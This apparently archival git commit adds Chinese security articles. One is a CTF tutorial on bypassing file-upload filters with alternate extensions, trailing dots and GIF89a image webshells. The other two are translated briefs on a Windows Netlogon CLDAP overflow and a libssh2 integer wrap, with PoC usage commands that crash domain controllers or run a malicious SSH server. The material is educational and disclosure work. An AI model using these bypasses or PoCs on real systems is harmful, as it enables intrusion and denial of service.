libssh2 CVE-2026-55200 PoC 和本地 RCE、CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞、CTF比赛入门第十期:文件上传漏洞全解、

This commit is contained in:
test committed 2026-06-24 10:49:53 +00:00
1 parent 388e1f1a3c
commit 9a5f967f31
4 files changed
+521 -1

No files matched your search

+4 -1
View File
@@ -21383,5 +21383,8 @@
"https://mp.weixin.qq.com/s/NL2Oa8h__B4pquR5ppN9NQ": "Webmin 2.641 修复三个漏洞,其中包括一个严重的身份验证绕过漏洞",
"https://mp.weixin.qq.com/s/Rk9z5dbGcsGAv1wiCpH_VA": "漏洞预警 | 大蚂蚁即时通讯系统任意文件上传漏洞",
"https://mp.weixin.qq.com/s/NyKqP_h4lq9qkqW8gVJN0w": "FFmpeg 严重漏洞允许攻击者利用媒体文件进行攻击",
"https://mp.weixin.qq.com/s/KDPO1p04xSVJGchnSC-qAQ": "Shannon:Keygraph 开源 AI 渗透测试框架,从源码分析到真实漏洞利用"
"https://mp.weixin.qq.com/s/KDPO1p04xSVJGchnSC-qAQ": "Shannon:Keygraph 开源 AI 渗透测试框架,从源码分析到真实漏洞利用",
"https://mp.weixin.qq.com/s/3MEUCzesYJmxq1aHAreM4A": "libssh2 CVE-2026-55200 PoC 和本地 RCE",
"https://mp.weixin.qq.com/s/CbxafV85UwNkyL7lSRksrQ": "CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞",
"https://mp.weixin.qq.com/s/WFYj3seeH2_xti7RLU16vQ": "CTF比赛入门第十期:文件上传漏洞全解"
}
@@ -0,0 +1,215 @@
# CTF比赛入门第十期:文件上传漏洞全解
点击关注👉
点击关注👉 网络安全学习室 2026-06-24 03:20
## 一、什么是文件上传漏洞?(通俗零基础理解)
首先摒弃复杂专业术语,用赛场实战逻辑理解:
大部分网站、后台系统、Web题目,都支持**图片、文件上传功能**
,比如上传头像、上传附件、上传文档等。开发者为了安全,会设置限制:**只允许上传jpg、png、gif等合法图片文件,禁止上传可执行脚本文件**
。
但如果网站的**文件校验逻辑不严谨、过滤规则残缺**
,攻击者就可以通过各种绕过方式,**突破文件格式限制,上传恶意脚本文件**
。当服务器解析执行该脚本后,我们就能实现任意代码执行、读取网站源码、获取Flag、控制服务器,这就是**文件上传漏洞**
。
### 核心赛场特点(区别于SSTI、逻辑漏洞)
1、**操作直观**
:无需构造URL参数,直接上传文件即可测试,上手门槛极低;
2、**分值极高**
:属于高危漏洞,比赛中分值普遍高于普通逻辑漏洞;
3、**题型固定**
:所有上传题的核心都是「绕过过滤,上传可执行文件」;
4、**无语言限制**
:不局限PHP、Python,适配所有Web开发框架。
## 二、CTF上传漏洞核心校验方式(出题人核心套路)
想要绕过上传限制,首先要摸清赛场三种主流文件校验方式,难度由低到高,对应不同绕过思路,这是解题的核心前提:
### 1、前端JS校验(最简单、新手秒杀题)
校验逻辑:仅在网页前端通过JS判断文件后缀,禁止脚本文件上传,后端无任何校验。
漏洞缺陷:前端校验完全可控,用户可随意篡改,属于纯摆设校验。
### 2、后端后缀校验(赛场高频基础题)
校验逻辑:后端获取文件名后缀,黑名单禁止php、py、jsp等脚本后缀,白名单仅允许jpg、png、gif。
漏洞缺陷:过滤不全面,存在大量后缀绕过、特殊字符绕过漏洞。
### 3、文件头MIME校验(进阶主流题)
校验逻辑:不仅校验文件名,还会读取文件头部二进制信息,判断是否为真实图片,同时校验文件上传类型。
漏洞缺陷:可伪造文件头,伪装成图片,实现图片马绕过。
## 三、CTF零基础通用上传绕过技巧(全覆盖、赛场直接用)
整理新生赛、校赛**通杀绕过方法**
,从简单到进阶,新手直接按顺序测试,适配所有入门上传题型。
### 1、前端JS校验绕过(最简方法)
**适用场景**
:选择脚本文件直接提示上传失败,无需发包即可拦截。
**绕过思路**
:
① 先准备一张合法图片(jpg/png),正常上传,确认上传功能可用;
② 打开浏览器开发者工具,直接删除页面所有上传校验JS代码;
③ 直接选择恶意脚本文件上传,即可成功绕过。
**快捷懒人法**
:抓包上传,本地文件随便改,直接绕过前端所有限制。
### 2、文件后缀绕过(黑名单过滤专用)
**适用场景**
:禁止上传php、py等脚本后缀,但未过滤特殊后缀。
**通用绕过后缀(赛场必记)**
:
php3、php4、php5、phtml、pht、pyc、jspx 等小众可解析后缀;
原理:服务器默认支持解析上述后缀,而出题人黑名单未全覆盖,直接绕过过滤。
### 3、特殊字符后缀绕过(空格/点绕过)
**适用场景**
:严格过滤常规脚本后缀,无特殊字符过滤。
**绕过Payload**
:shell.php. 、shell.php%20
原理:Windows服务器会自动忽略文件名末尾的空格和小数点,上传后自动解析为shell.php,成功执行脚本。
### 4、图片马绕过(白名单+文件头校验专用)
**适用场景**
:仅允许上传图片,校验文件头,常规脚本文件直接拦截。
**制作方法**
:
① 用记事本打开,写入图片文件头GIF89a;
② 换行写入恶意脚本代码;
③ 将文件命名为shell.jpg,伪装成图片上传;
原理:文件头为合法图片格式,后端校验通过,配合文件包含漏洞即可解析执行脚本。
## 四、三大经典上传真题逐题拆解(零基础可复现)
结合本期所有知识点,拆解CTF赛场最具代表性的三类上传题型,覆盖入门全部考点,看完直接上手做题。
### 题型1:前端校验绕过签到题(新手送分题)
**题目场景**
:页面有文件上传功能,本地选择.php脚本文件直接弹窗提示「文件格式不合法」,选择图片可正常上传,抓包无后端额外过滤。
**解题步骤**
:
1、判断漏洞类型:本地弹窗拦截,属于前端JS校验,无后端防护;
2、开启BP抓包,直接选择脚本文件上传,拦截数据包;
3、直接放行数据包,成功上传恶意脚本文件;
4、访问上传文件地址,执行代码获取Flag,解题完成。
### 题型2:黑名单后缀过滤绕过(高频考题)
**题目场景**
:后端禁止上传.php、.py、.jsp文件,提示「禁止上传可执行脚本文件」,允许图片、文本文件上传。
**解题思路**
:小众后缀绕过
1、将恶意脚本文件重命名为shell.phtml;
2、直接上传文件,绕过黑名单过滤;
3、服务器正常解析phtml后缀,执行脚本获取权限与Flag。
### 题型3:图片马+文件包含组合题型(进阶必考)
**题目场景**
:仅允许jpg/png/gif图片上传,校验文件头,上传脚本文件直接拦截,同时页面存在文件包含漏洞。
**解题步骤**
:
1、制作GIF图片马,头部写入GIF89a,内置执行脚本;
2、命名为flag.jpg成功上传,获取图片上传地址;
3、利用页面文件包含漏洞,访问上传的图片文件地址;
4、服务器解析图片中的脚本代码,成功执行命令读取Flag。
## 五、赛场标准化解题流程(新手无脑套用)
针对所有CTF入门文件上传题型,总结一套固定解题流程,无需思考,按步骤测试即可通关:
**第一步:判断校验位置**
本地选文件直接报错 → 前端校验,直接抓包上传绕过;
上传发包后报错 → 后端校验,进入后缀/字符绕过测试。
**第二步:判断过滤规则**
拦截脚本后缀 → 测试小众后缀、空格、小数点绕过;
仅允许图片、校验文件头 → 制作图片马绕过。
**第三步:确认文件解析执行**
上传成功后,直接访问文件地址,可执行代码直接拿Flag;
无法直接执行则搭配文件包含漏洞解析执行。
## 六、新手高频避坑指南(赛场少丢分)
1、**区分黑白名单过滤**
黑名单是「禁止某些后缀」,可绕过空间极大;白名单是「仅允许指定后缀」,只能用图片马+文件包含组合绕过,切勿盲目测试后缀。
2、**不要混淆系统环境**
空格、小数点绕过仅适用于Windows服务器,Linux服务器无效,Linux优先使用小众后缀绕过。
3、**图片马必须带合法文件头**
无GIF89a、PNG文件头的伪造图片,会被后端文件头校验拦截,导致上传失败。
4、**上传成功不代表执行成功**
部分题目仅允许上传、禁止直接访问,必须结合文件包含、本地渲染漏洞才能执行脚本。
## 七、课后实操练习(本期专属上传漏洞)
### 练习1(基础前端绕过)
题目场景:文件上传功能前端拦截脚本文件,后端无任何过滤,可正常上传图片。
要求:绕过前端限制,成功上传恶意脚本文件并获取Flag。
### 练习2(黑名单后缀绕过)
题目场景:后端过滤php、py后缀,允许其余格式文件上传,服务器支持phtml后缀解析。
要求:利用小众后缀绕过过滤,实现代码执行。
### 文末学习福利
如果你也是零基础、想参加CTF比赛但不知道从哪开始,
可以
点击文末
阅读原文
领取200节攻防教程,
帮你少走弯路。
后续我会持续更新网安实战、就业、副业相关干货,关注我,带你从零基础一步步靠网安变现。
![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/iaLzURuoralYx8yXB4LvFH5iaWSZLQIibIy0cjSua3jS1U4ibv8YxBJtIbq5qiahPnPyjH1eicWEbpedhFmOLmYozvFA/640?wx_fmt=gif&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=17 "")
## 八、下期预告(第十一期全新题材)
本期我们脱离代码注入、逻辑绕过题型,彻底吃透**CTF文件上传漏洞**
,补齐Web漏洞核心短板!
@@ -0,0 +1,72 @@
# CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞
Ots安全 2026-06-24 03:01
**威胁简报**
**恶意软件**
**漏洞攻击**
一个精心构造的 UDP 数据包发送到端口 389,即可使任何未打补丁的 Windows 域控制器上的 LSASS 内部 528 字节的堆栈缓冲区溢出。该进程崩溃。域控制器将在大约 60 秒后重启。无需身份验证。
**根本原因**
NlGetLocalPingResponse分配一个 528 字节的栈缓冲区并将其交给BuildSamLogonResponse。该函数调用NetpLogonPutUnicodeString 将服务器名称、域名、GUID 和攻击者控制的用户名写入缓冲区。
该漏洞:NetpLogonPutUnicodeString接收到的最大长度(以字节为单位)被当作 WCHAR 计数处理。通过此路径写入的每个字符串占用的空间是预期空间的两倍。CLDAP 过滤器中的“User”字段(最多 130 个 WCHAR,网络传输 260 字节)导致总写入量超过 528 字节的限制。
```
I_NetLogonLdapLookupEx
 -> NlGetLocalPingResponse           // 528-byte stack buffer
   -> LogonRequestHandler
     -> BuildSamLogonResponse
       -> NetpLogonPutUnicodeString   // byte/WCHAR size confusion
```
**用法**
```
# Connectivity test (short username, no overflow)
python3 poc.py 10.0.50.21 corp.local
 
# Default overflow attempt
python3 poc.py 10.0.50.21 corp.local -l 130
 
# Larger payload, longer timeout for slow networks
python3 poc.py 10.0.50.21 corp.local -l 200 -t 10
```
**工作原理**
**第一阶段:**使用用户名“testuser”进行正常的 CLDAP ping 测试,确认目标在 UDP 389 端口上响应。
**第二阶段:**数据包结构相同,但用户名是超过 130 个字符的“A”。这会将序列化数据推过堆栈缓冲区边界。如果 LSASS 崩溃,接收操作将超时。
**第三阶段:**经过一段可配置的延迟后,进行第二次常规 ping 测试,检查数据中心是否仍然在线。如果未收到响应,则确认 LSASS 崩溃。
溢出会触发拒绝服务(LSASS崩溃,数据中心重启)。理论上,可以通过堆栈损坏实现远程代码执行。此概念验证不会尝试执行代码。
**项目地址:**
https://github.com/0xABCD01/CVE-2026-41089
**END**
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0FHKf2C29asEeFvUMcyQmM0oLduWq5FsGx4seEUWFo9J0CCjqEIYX3JTJ6iauznNyX0gYvoibt1YBPkPNSQG7Wuh0m9ZVb4mUTA4/640?wx_fmt=jpeg&from=appmsg "")
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安 
采集 翻译 | Ots Ai牛马
公众号 |
AnQuan7 (Ots安全)
@@ -0,0 +1,230 @@
# libssh2 CVE-2026-55200 PoC 和本地 RCE
Ots安全 2026-06-24 03:01
**威胁简报**
**恶意软件**
**漏洞攻击**
此目录包含针对 CVE-2026-55200 的本地研究成果,CVE-2026-55200packet_length是 libssh2ssh2_transport_read()传输解析器路径中未检查的 SSH 条件。
**研究状态:**
算术验证器、加密 SSH 触发框架和受控本地 RCE 框架已验证。
> 项目地址:
> https://github.com/bikini/exploitarium/tree/main/libssh2-cve-2026-55200-poc
>
**概括**
libssh2 1.11.1 及更高版本在一个完整的数据包解密路径中接受了攻击者控制的 SSH 数据包长度,而没有首先强制执行 RFC 规定的 libssh2 数据包最大长度。
易受攻击的源结构如下:
```
total_num = 4
packet_length = decoded SSH packet_length field
reject only if packet_length < 1
total_num += packet_length + mac_len + auth_len
reject if total_num > 35000 or total_num == 0
allocate total_num bytes
```
使用packet_length=0xffffffff、mac_len=0和auth_len=16,易受攻击的 C 表达式可以产生分配大小19:
```
packet_length + mac_len + auth_len == 15  modulo 2^32
4 + 15 == 19
```
原始数据packet_length仍然保留。即使在分配决策已经做出之后,0xffffffff后续的完整数据包处理仍然可以使用从数据包长度推导出的大小,包括样式长度。packet_length - 1
上游修复packet_length > LIBSSH2_PACKET_MAXPAYLOAD在添加之前就被拒绝了。
**文件**
- poc/cve_2026_55200_probe.c- 独立的 C11 算术验证器。
- poc/libpwn_cve_2026_55200_server.py- 最小的恶意 SSH 服务器/触发器脚手架。
- poc/libpwn_local_rce_harness.c- 受控的本地易受攻击目标,模拟了封装分配到控制模式。
- poc/libpwn_local_rce_exploit.py- 本地漏洞利用驱动程序,覆盖漏洞利用回调并创建 RCE 证明文件。
- evidence/2026-06-23-local-harness-output.txt- 早期算术验证证据。
**受影响的源路径**
受影响的路径位于:
```
src/transport.c:ssh2_transport_read()
```
修复方案已在上游提交中实现:
```
97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
```
相关修复程序packet_length > LIBSSH2_PACKET_MAXPAYLOAD
在完整数据包路径中易受攻击的添加部分之前添加了一个保护措施。
**算术验证器**
Linux、macOS、WSL 或 MinGW:
```
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c
./cve_2026_55200_probe
```
使用 MinGW 的 Windows PowerShell:
```
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
.\cve_2026_55200_probe.exe
```
实用模式:
```
./cve_2026_55200_probe --benign
./cve_2026_55200_probe --native
./cve_2026_55200_probe --check
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16
```
预期默认证明条件:
```
vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS
```
**恶意 SSH 触发**
本地密码学和算术自测:
```
python poc/libpwn_cve_2026_55200_server.py --self-test
```
最小 SSH 握手、密钥派生、服务器到客户端序列号和加密触发器的回环测试:
```
python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
```
作为一次性恶意服务器运行,接受挑战客户端的测试:
```
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
```
--listen-host针对您的实验室实例进行更改--listen-port。脚本顶部还包含以下内容:
```
HOST = ""
PORT = 0
```
故意打开。
服务器协商curve25519-sha256RSA 主机密钥认证,[email protected]然后发送格式错误的加密服务器到客户端数据包,其解密后的 SSHpacket_length为0xffffffff。
**受控局部 RCE 线束**
```
#构建本地易受攻击的目标:
gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
 
#使用 MinGW 的 Windows PowerShell:
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
 
#运行本地漏洞利用驱动程序:
python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
cat poc/libpwn_rce_proof.txt
 
#Windows PowerShell: 
python poc\libpwn_local_rce_exploit.py
Get-Content poc\libpwn_rce_proof.txt
 
#预期证据:
libpwn-rce-verified
```
该测试框架通过将模型化的 19 字节分配状态溢出到回调指针并创建来证明本地命令的执行libpwn_rce_proof.txt。
**64 位注释**
64 位 Linux 目标仍然是此漏洞的潜在目标。在未打补丁的 libssh2 源代码中,易受攻击的分支会packet_length + mac_len + auth_len先使用 32 位/整数操作数进行计算,然后再将结果添加到内存分配中size_t,因此会0xffffffff + 0 + 16循环到内存分配中15,最终4 + 15变成内存分配大小19。
**验证状态**
已在本地核实:
```
python poc\libpwn_cve_2026_55200_server.py --self-test
python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
python poc\libpwn_local_rce_exploit.py
python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py
```
**限制**
libpwn_cve_2026_55200_server.py这是一个经过本地验证的 CVE 触发器/框架。将其转化为可靠的、针对特定挑战的 flag 读取/远程代码执行 (RCE) 链,仍然取决于目标二进制文件、分配器行为、缓解措施以及挑战如何调用 libssh2。
libpwn_local_rce_harness.c这是一个受控的验证目标,并非适用于所有 libssh2 部署的通用漏洞利用程序。它展示了 CTF/HTB 服务仍需匹配或调整的漏洞利用模式。
**参考**
- CVE记录:https://www.cve.org/CVERecord?id=CVE-2026-55200
- NVD条目:https://nvd.nist.gov/vuln/detail/CVE-2026-55200
- 上游修复:https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
- 上游公关:https://github.com/libssh2/libssh2/pull/2052
- VulnCheck 安全公告:https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c
**END**
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0EtQ4ibeFzvPrepibKfHqvXiaeEZ3ZMDtk721cRtYcvYXgwtCKfO54ME3NWJFeH3HdtNic5bsqwVFDaf3E5ux5BoUPAStvxFn68mto/640?wx_fmt=jpeg&from=appmsg "")
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安 
采集 翻译 | Ots Ai牛马
公众号 |
AnQuan7 (Ots安全)